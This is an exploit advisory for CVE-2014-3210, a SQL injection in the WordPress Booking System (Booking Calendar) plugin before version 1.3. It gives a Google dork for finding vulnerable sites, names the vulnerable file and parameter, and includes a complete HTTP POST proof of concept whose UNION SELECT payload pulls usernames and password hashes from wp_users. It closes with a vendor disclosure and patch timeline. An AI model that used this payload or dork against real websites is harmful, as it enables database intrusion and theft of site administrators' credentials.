Wordpress Booking System (Booking Calendar) plugin SQL Injection

# Exploit Title: Wordpress Booking System (Booking Calendar) plugin
SQL Injection
# Release Date: 2014-05-21
# Author: maodun
# Contact: Twitter: @conmancm
# Software Link: http://wordpress.org/support/plugin/booking-system
# Affected version: < 1.3
# Google Dork: inurl:/wp-content/plugins/booking-system/
# REF:CVE-2014-3210
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# Introduction:
Booking System is great for booking hotel rooms, apartments, houses,
villas, rooms etc, make appointments to doctors, dentists, lawyers,
beauty salons, spas, massage therapists etc or schedule events.
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# SQLi - Proof Of Concept:
vulnerable path:
/wp-content/plugins/booking-system/dopbs-backend-forms.php

vulnerabile parameter:$_POST['booking_form_id']

POC:

POST /wp/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 149
Cookie: [your cookie]

action=dopbs_show_booking_form_fields&booking_form_id=100 union select
1,2,3,4,5,6,7,8,9,hex(concat(user_login,user_pass)) from
wp_users#&language=cr

response:
<input type="hidden" name="booking-form-field-translation-1"
id="booking-form-field-translation-1" value="[hex value here]" />

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# Patch:
-- Vendor was notified on the 2014-05-05
-- Vendor released version 1.3 on 2014-05-06 Fixed the bug
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